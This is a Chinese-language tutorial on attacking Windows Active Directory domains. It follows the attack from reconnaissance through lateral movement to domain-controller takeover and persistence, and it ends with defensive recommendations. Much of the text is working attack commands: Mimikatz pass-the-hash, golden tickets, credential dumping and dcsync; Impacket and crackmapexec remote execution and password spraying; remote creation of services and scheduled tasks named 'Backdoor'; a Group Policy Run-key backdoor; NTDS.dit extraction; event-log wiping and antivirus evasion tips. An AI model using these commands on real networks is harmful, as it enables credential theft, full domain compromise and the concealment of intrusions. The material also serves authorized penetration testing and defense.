域渗透实战:从信息收集到域控攻防的完整攻击路径解析

1. 项目概述:从“域”说起,为什么它如此关键?

如果你在甲方做安全运维,或者在乙方做渗透测试,那么“域”这个概念你一定绕不开。它绝不仅仅是一个简单的网络管理工具,而是一个企业内网安全架构的基石,也是攻击者梦寐以求的“皇冠上的明珠”。今天,我们不谈那些浮于表面的扫描和漏洞利用,就深入聊聊“域渗透”这个核心命题。这篇文章的目标很明确:为你梳理出一条从外部到内部,从普通权限到域控权限的清晰、可复现的攻击路径,并附上我踩过的坑和总结的经验。无论你是想加固自己的网络,还是想深入理解攻击者的思维,这篇文章都值得你花时间细读。

简单来说,域渗透的目标就是获取“域控制器”的最高权限。一旦拿下域控,就意味着你掌握了整个域内所有用户、计算机、组策略的“生杀大权”。攻击者可以任意创建后门账户、窃取所有用户的密码哈希、部署恶意策略,甚至将攻击触角延伸到信任的其他域。因此,理解域渗透,本质上就是理解现代企业内网的核心安全模型是如何被层层瓦解的。

2. 内网渗透测试的基石:信息收集与定位

在发起任何实质性的攻击之前,详尽且精准的信息收集是成功的一半。域环境下的信息收集,远不止于扫描几个IP和端口,它更像是一次针对整个网络“社会关系”和“权力结构”的摸底。

2.1 初始立足点的信息榨取

假设你已经通过某种方式(比如钓鱼、Web漏洞)拿到了一台内网主机的权限。这时,你的第一个任务就是把这台主机“看透”。

1. 网络环境侦察:首先,你需要知道自己身处何方。使用简单的命令就能获取关键信息:

# 查看IP地址、网关、DNS服务器(DNS服务器很可能就是域控!) ipconfig /all # 查看当前网络邻居(NetBIOS信息) nbtstat -n # 查看ARP缓存,了解与本机通信过的其他主机 arp -a

注意:ipconfig /all输出的DNS服务器地址至关重要。在标准的域环境中,域控制器通常兼任DNS服务器。所以,那个DNS服务器的IP,有极大概率就是你的首要目标——域控制器。

2. 主机角色判断:这台机器是普通的员工电脑,还是服务器?是域成员吗?

# 查看系统信息,关注“域”字段 systeminfo | findstr /B /C:"Domain" # 或者更直接地,查看计算机名是否包含域后缀 echo %USERDOMAIN% # 查看当前用户权限,是否为本地管理员? whoami /groups | findstr "Administrators"

如果systeminfo显示“Domain: YOURCOMPANY.COM”,那么恭喜,你已经身处域环境。如果当前用户是本地管理员,那么你的操作空间会大很多。

3. 凭证与会话搜集:内存中可能保存着其他用户的登录凭证或会话令牌,这是横向移动的“弹药”。

# 查看当前登录到本机的所有会话(包括域用户) query user # 尝试使用Mimikatz等工具导出内存中的明文密码或哈希(需管理员权限) # 这是高风险操作,但在测试中至关重要。

实操心得:在真实的渗透测试中,query user的结果常常能带来惊喜。你可能发现有域管理员用户曾经在这台机器上登录过并保持了断开连接的状态,这意味着你可以尝试“劫持”这个会话,无需密码即可获得其权限。

2.2 域内信息枚举:绘制攻击地图

当你确认身处域内,并且有一定的权限后,就要开始主动探测域这座“城堡”的结构了。

1. 基础域信息查询:使用Windows自带的net命令系列,这是最基础也是最不易触发告警的方式。

# 查看域基本信息,如域名、域控制器名 net view /domain # 查看指定域(如YOURCOMPANY)中的计算机列表 net view /domain:YOURCOMPANY # 查看域内所有的工作组和域(老式网络) net group /domain # 查看域管理员组有哪些成员(终极目标列表!) net group "Domain Admins" /domain # 查看企业管理员组(权限比域管理员更高,通常存在于林根域) net group "Enterprise Admins" /domain

2. 使用PowerShell进行深度枚举:PowerShell提供了更强大、更灵活的信息收集能力。首先,确保你的执行策略允许运行脚本。

# 绕过执行策略(临时) Set-ExecutionPolicy Bypass -Scope Process # 导入Active Directory模块(需要RSAT工具或在域控上) Import-Module ActiveDirectory # 如果模块不可用,可以使用.NET类进行查询 # 获取当前域对象 $domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() $domain.Name # 域名 $domain.PdcRoleOwner # 主域控制器 # 枚举域内所有计算机 ([adsisearcher]"objectCategory=computer").FindAll() | ForEach-Object {$_.Properties.name} # 枚举域内所有用户 ([adsisearcher]"objectCategory=user").FindAll() | ForEach-Object {$_.Properties.samaccountname}

3. 关键发现:用户、组、信任关系与SPN仅仅知道有哪些机器和用户是不够的,你需要理解他们之间的关系和属性。

  • 用户属性枚举:关注那些“密码永不过期”、“上次设置密码时间在几年前”的用户账号,这些往往是脆弱的突破口。也要关注“服务账号”,它们通常有高权限。
  • 组嵌套关系:搞清楚哪些普通组被嵌套在高权限组(如Domain Admins)里。攻击一个普通组的成员,可能最终导致获得域管权限。
  • 域信任关系nltest /domain_trusts或PowerShell命令可以枚举域之间的信任关系。如果存在双向信任,那么攻破一个子域,可能意味着可以访问父域的资源。
  • 服务主体名称(SPN)扫描:这是发现域内运行着哪些服务(如MSSQL, HTTP, CIFS)的关键。使用setspn -T domain -Q */*或工具如PowerViewGet-DomainSPNTicket。找到的SPN账户(通常是服务账号)是Kerberoasting攻击的绝佳目标。

3. 横向移动:在域内“漫游”的艺术

拿到一台域成员机的权限后,你的目标就是“以点破面”,横向移动到更重要的机器上,最终抵达域控制器。这里有几种经典且有效的战术。

3.1 密码哈希的传递与利用

这是最经典的横向移动方式。原理是:在Windows网络中,许多身份验证并不使用明文密码,而是使用密码哈希(NTLM Hash)。如果你获取了某个用户的哈希,就可以在不需要知道明文密码的情况下,冒充该用户访问网络资源。

1. 哈希传递攻击:假设你从A机器上抓取到了域用户zhangsan的NTLM哈希(HASH_zhangsan)。现在你想用这个身份访问B机器。

# 使用Mimikatz进行PtH sekurlsa::pth /user:zhangsan /domain:yourcompany.com /ntlm:HASH_zhangsan /run:cmd.exe # 执行后,会弹出一个新的命令行窗口,在这个窗口里访问B机器的共享,使用的就是zhangsan的权限。 net use \\B机器IP\C$ /user:yourcompany.com\zhangsan # 或者使用Impacket套件中的psexec.py(在Linux攻击机上) python3 psexec.py -hashes :HASH_zhangsan yourcompany.com/zhangsan@B机器IP

关键点:这种攻击成功的前提是,目标服务(如SMB)允许使用NTLM进行身份验证,且目标账户在目标机器上有足够的权限(如远程登录权限)。域管理员账户的哈希几乎可以在所有域成员机上通行无阻。

2. 票据传递攻击:Kerberos协议是比NTLM更现代的认证方式。攻击者可以窃取或伪造Kerberos票据(Ticket)来通过验证。

  • 黄金票据:如果你拿到了krbtgt账户的哈希(这个账户是域Kerberos认证的根密钥,存在于域控上),你就可以为域内任何用户(包括不存在的)生成有效的票据,从而访问任何服务。这是“域持久化”的终极后门之一。
    # 使用Mimikatz生成黄金票据 kerberos::golden /user:fakeadmin /domain:yourcompany.com /sid:S-1-5-21-... /krbtgt:KRBTGT_NTLM_HASH /ptt
  • 白银票据:如果你知道某个服务(如cifs/B机器.yourcompany.com)的服务账号哈希,你可以直接为该服务生成票据,无需与域控交互。但权限仅限于该服务。

注意事项:票据攻击(尤其是黄金票据)是极高的风险操作,会直接写入内存。在真实的测试中,务必与客户明确授权范围,并确保有完善的日志清理和恢复方案。

3.2 利用共享与服务的弱配置

域内机器之间通常存在大量的网络共享和远程服务,配置不当就是敞开的门户。

1. SMB共享与WinRM:

  • SMB共享扫描:使用net view \\computername或工具如smbmapcrackmapexec来枚举目标机器的共享文件夹。寻找可写的共享,上传后门或直接执行命令。
  • WinRM/WMI利用:如果目标机器开启了WinRM(5985/tcp)或允许WMI连接,你可以使用evil-winrmwmiexec.py进行远程命令执行,前提是你有有效的凭证。
    # 使用crackmapexec进行SMB/WinRM爆破和命令执行 crackmapexec smb 192.168.1.0/24 -u userlist.txt -p passwordlist.txt crackmapexec winrm 192.168.1.10 -u zhangsan -p ‘Password123!’ -x ‘whoami’

2. MS-RPC与DCOM:这些是Windows系统间进行远程过程调用的协议。工具如dcomexec.py可以利用特定的DCOM组件(如MMC20.Application)在远程机器上执行命令,同样需要凭证。

3. 利用计划任务与服务:如果你对一台机器有写权限(如通过可写共享或某种漏洞),可以通过创建计划任务或系统服务来执行恶意载荷。

# 使用sc命令远程创建服务(需管理员权限) sc \\目标IP create MyBackdoor binPath= “C:\shell.exe” sc \\目标IP start MyBackdoor # 使用schtasks创建计划任务 schtasks /create /s 目标IP /u domain\admin /p password /tn Backdoor /tr “C:\shell.exe” /sc hourly /ru SYSTEM

实操心得:横向移动时,优先选择“免安装”或“无文件”的方式,如PsExec的内存执行、WMI的远程执行,或者利用已有的计划任务。直接上传文件到磁盘容易被终端防护软件检测。crackmapexec是我最常用的瑞士军刀,它集成了SMB、WinRM、MSSQL等多种协议的测试,并能自动检查凭证的有效性和权限。

4. 权限提升与域控攻克:最后的堡垒

横向移动可能让你获得了一些高价值主机的权限,比如文件服务器、应用服务器,甚至是一台域管理员的个人电脑。但最终目标,还是那座堡垒——域控制器。

4.1 从普通域用户到本地管理员

很多时候,你首先拿到的是一个普通域用户的权限。你需要先在这台机器上提升为本地管理员,才能进行后续的哈希抓取等操作。

1. 内核漏洞提权:这是最直接的方法。使用systeminfowinPEAS等脚本收集系统补丁信息,寻找缺失的漏洞补丁,然后使用对应的提权利用程序(如PrintNightmare, CVE-2021-1675, CVE-2021-1732等)。

# 使用wesng快速检查缺失补丁 python3 wes.py systeminfo.txt -o vulns.csv

2. 服务配置不当提权:

  • 可写服务路径:如果一个系统服务的二进制文件路径指向一个你可以写入的目录,你可以替换该文件,重启服务后即以SYSTEM权限运行。
  • 不安全的服务权限:使用accesschk.exePowerUp.ps1脚本检查当前用户是否有修改或重启某个服务的权限。如果有,可以将服务的binPath指向你的恶意程序。
    # 使用PowerUp.ps1 Import-Module .\PowerUp.ps1 Invoke-AllChecks

3. 凭证滥用与令牌模拟:

  • 如果机器上有其他管理员用户登录的会话,可以使用Incognito或Mimikatz的token::elevate来窃取其令牌。
  • 检查本地的密码文件、配置文件、备份文件中是否硬编码了管理员密码。

4.2 从本地管理员到域管理员

成为一台域成员机的本地管理员后,你离域管就更近了一步。

1. 抓取内存中的域凭证:这是成功率极高的方法。使用Mimikatz的sekurlsa::logonpasswords命令,可以转储LSASS进程内存中所有登录会话的明文密码、哈希和票据。这里往往藏着域管理员密码的“宝藏”

privilege::debug # 提升权限 sekurlsa::logonpasswords full

重要警告:此操作会触及系统最核心的安全进程LSASS,会被几乎所有EDR(终端检测与响应)产品重点监控。在真实环境中,需要配合绕过技术或选择在EDR防护薄弱的时段操作。

2. 分析本地存储的凭证:

  • Credential Manager:查看Windows凭据管理器里是否保存了域凭证。
  • 浏览器密码:使用工具如LaZagneBrowserGhost提取Chrome、Edge等浏览器保存的密码,用户可能在其中保存了管理后台的密码。
  • 配置文件与脚本:仔细检查桌面、文档、源代码目录,寻找包含密码的config.ini.envdeploy.ps1等文件。

3. 利用域内关系与ACL滥用:这是更高级、更隐蔽的手法。Active Directory本身是一个复杂的权限体系(ACL),配置错误可能导致权限滥用。

  • Kerberoasting:如前所述,攻击拥有SPN的服务账号,破解其哈希以获得高权限账户密码。
  • AS-REP Roasting:攻击那些设置了“不需要预认证”的用户账户,直接获取其哈希进行破解。
  • 基于资源的约束委派攻击:如果一台机器账户被配置了到另一台机器的委派权限,且你能控制该机器账户,你就可以模拟任何用户访问那台机器的服务。这常发生在IIS服务器、SQL服务器等场景。
  • ACL攻击:使用BloodHound这类工具,可以自动化分析域内复杂的权限关系图。它可能会揭示出“用户A对用户B有‘强制修改密码’权限”,或者“计算机账户C对域对象有‘写入DACL’权限”这样的攻击路径。这些路径往往被管理员忽视,却是绝佳的提权通道。
    # 使用SharpHound收集数据 .\SharpHound.exe -c All # 将生成的zip文件导入BloodHound客户端进行分析

4.3 攻陷域控制器

当你拥有了域管理员凭证(密码或哈希)后,攻克域控制器就变成了一个“合法”的管理操作。

1. 直接远程访问:使用域管理员账户,通过PsExec、WMI、WinRM等任何远程管理工具,直接连接到域控制器执行命令。

# 使用Impacket的smbexec python3 smbexec.py domain/administrator@域控IP # 使用crackmapexec crackmapexec smb 域控IP -u administrator -H NTLM_HASH -x ‘whoami’

2. 转储域控上的核心机密:登上域控后,你的首要任务不是搞破坏,而是“收割”所有有价值的凭证,为后续的持久化和深度渗透做准备。

  • NTDS.dit文件:这是Active Directory的数据库文件,包含了所有域用户的密码哈希。位于C:\Windows\NTDS\NTDS.dit。你需要与SYSTEM注册表配置单元一起导出,然后使用secretsdump.py之类的工具进行解析。
    # 在域控上使用卷影拷贝服务复制NTDS.dit ntdsutil “ac i ntds” “ifm” “create full C:\temp” q q # 或者使用Mimikatz直接从内存中的LSASS转储域哈希 lsadump::dcsync /domain:yourcompany.com /all
    dcsync命令是神器,它模拟一个域控制器从另一个域控制器同步数据的行为,直接请求域控提供指定用户的哈希,无需接触磁盘文件。
  • KRBTGT账户哈希:这是生成黄金票据的钥匙。通过dcsync或转储NTDS.dit都可以获得。
  • 域控上的其他会话:同样使用Mimikatz,抓取登录在域控上的其他高价值用户的凭证。

5. 后渗透与持久化:如何“扎根”

拿下域控不是终点,如何不被发现地长期控制,才是真正的挑战。

5.1 常见的持久化技术

1. 账户后门:

  • 创建隐藏账户:创建用户名末尾带$的账户(如admin$),这类账户在net user命令中默认不显示。但更高级的监控可以检测到。
  • SID历史注入:为一个普通账户添加域管理员的SID历史记录,使其拥有域管权限。这可以通过dcsync或直接修改AD数据库实现。
  • 黄金票据/白银票据:如前所述,这是网络层面的持久化,即使所有密码被修改,只要krbtgt哈希不变,票据依然有效。

2. 启动项与计划任务:在域控或关键服务器上部署计划任务,定期从外网下载并执行载荷。可以使用域内普通的HTTP或SMB共享作为C2通道,减少对外通信的异常。

3. 组策略对象后门:这是域层面最强大、最隐蔽的持久化方法之一。作为域管理员,你可以修改或创建组策略对象,在其中添加开机/关机脚本、计划任务或者修改注册表。这个策略会被应用到所有链接的计算机或用户上。

# 通过PowerShell远程修改GPO(需要GroupPolicy模块) Set-GPRegistryValue -Name “Default Domain Policy” -Key “HKLM\Software\Microsoft\Windows\CurrentVersion\Run” -ValueName “Backdoor” -Value “C:\Windows\backdoor.exe” -Type String

注意事项:GPO修改会在域内同步,有延迟但覆盖面极广。务必选择针对特定OU(组织单元)的GPO进行修改,避免影响过大引起警觉。同时,GPO文件本身(\\domain.com\SYSVOL\...)可能会被安全软件扫描。

4. ACL后门:在关键AD对象(如域管理员组Domain Admins)上,为你的后门账户添加“完全控制”权限。这样,即使你的账户从组中被移除,你仍然可以修改该组,把自己加回去。

5.2 痕迹清理与防御规避

1. 日志清理:

  • Windows事件日志:清除安全日志、系统日志中与你操作相关的事件ID(如4624登录、4625失败登录、4688进程创建、4662目录服务访问等)。可以使用wevtutil命令或Mimikatz的event::clear功能。
    wevtutil cl Security wevtutil cl System

    警告:清空整个日志文件是极其可疑的行为。更高级的做法是只删除特定事件ID的条目,但这需要更复杂的操作,通常借助第三方工具或脚本。

  • 其他日志:包括IIS日志、防火墙日志、第三方安全软件日志等。需要根据具体环境定位和清理。

2. 规避安全产品:

  • 内存操作:优先使用无文件落地的内存执行技术,如PowerShell反射加载、.NET Assembly加载等。
  • 混淆与加密:对使用的攻击载荷(如Mimikatz、PowerShell脚本)进行混淆、加密或自定义编译,以绕过基于签名的检测。
  • 生活作息模拟:C2通信的时间、频率尽量模拟正常用户的流量模式,避免在非工作时间产生大量异常连接。
  • 使用合法工具:尽可能使用操作系统自带的工具(net,sc,schtasks,powershell)或已被广泛安装的合法管理软件(如PsExec的官方版本)来执行操作,这被称为“Living-off-the-Land”。

6. 防御视角:如何构建更坚固的域

讲了这么多攻击手法,最后我们必须换位思考,从防御者角度看看如何加固。

1. 强化身份认证:

  • 强制使用强密码并启用密码复杂性策略
  • 启用多因素认证,尤其是对所有特权账户(域管理员、企业管理员、服务器本地管理员)。
  • 禁用NTLM认证,强制使用Kerberos。如果无法完全禁用,则严格限制NTLM的使用范围。
  • 定期修改KRBTGT账户密码(建议每半年一次,且修改两次),以降低黄金票据攻击的影响窗口。

2. 实施最小权限原则:

  • 域管理员账户仅用于域管理操作,日常办公使用普通账户。
  • 严格管理本地管理员权限,避免域用户被添加到多台机器的本地管理员组。
  • 定期审计和清理服务账号的权限,遵循“一个服务,一个账户”原则,并为其设置强密码。
  • 使用工具如BloodHound定期进行攻击路径分析,发现并修复ACL配置错误、过度的组嵌套、危险的委派权限等。

3. 加强监控与检测:

  • 在域控、关键服务器和网络边界部署SIEM系统,集中收集和分析日志。重点关注:
    • 异常时间的登录行为(如凌晨的域管登录)。
    • 大量失败的登录尝试。
    • PsExec、WMI、PowerShell的远程执行日志。
    • LSASS进程的非法访问或内存转储行为。
    • NTDS.dit文件的异常访问。
    • 域管理员组成员变更、GPO的异常修改。
  • 部署EDR解决方案,监控终端上的进程行为、网络连接和文件操作,能够有效检测Mimikatz等攻击工具的运行。

4. 网络分段与访问控制:

  • 将域控制器放置在独立的、严格访问控制的网络段,只开放必要的管理端口(如RDP的3389端口应仅限于跳板机访问)。
  • 限制域内计算机之间的不必要的横向通信(如关闭不必要的SMB、RPC端口)。

域渗透是一个深度依赖对Active Directory理解和技术细节掌握的过程。攻击与防御始终在动态博弈。对于攻击方而言,思路的清晰和工具的熟练同样重要;对于防御方而言,没有一劳永逸的银弹,持续的加固、监控和响应才是关键。我个人的体会是,每一次成功的渗透测试,其价值不仅在于发现漏洞,更在于通过攻击者的视角,帮助客户看清其防御体系中那些逻辑上的薄弱点和违反“最小权限”原则的设计缺陷,这才是安全建设真正需要发力的地方。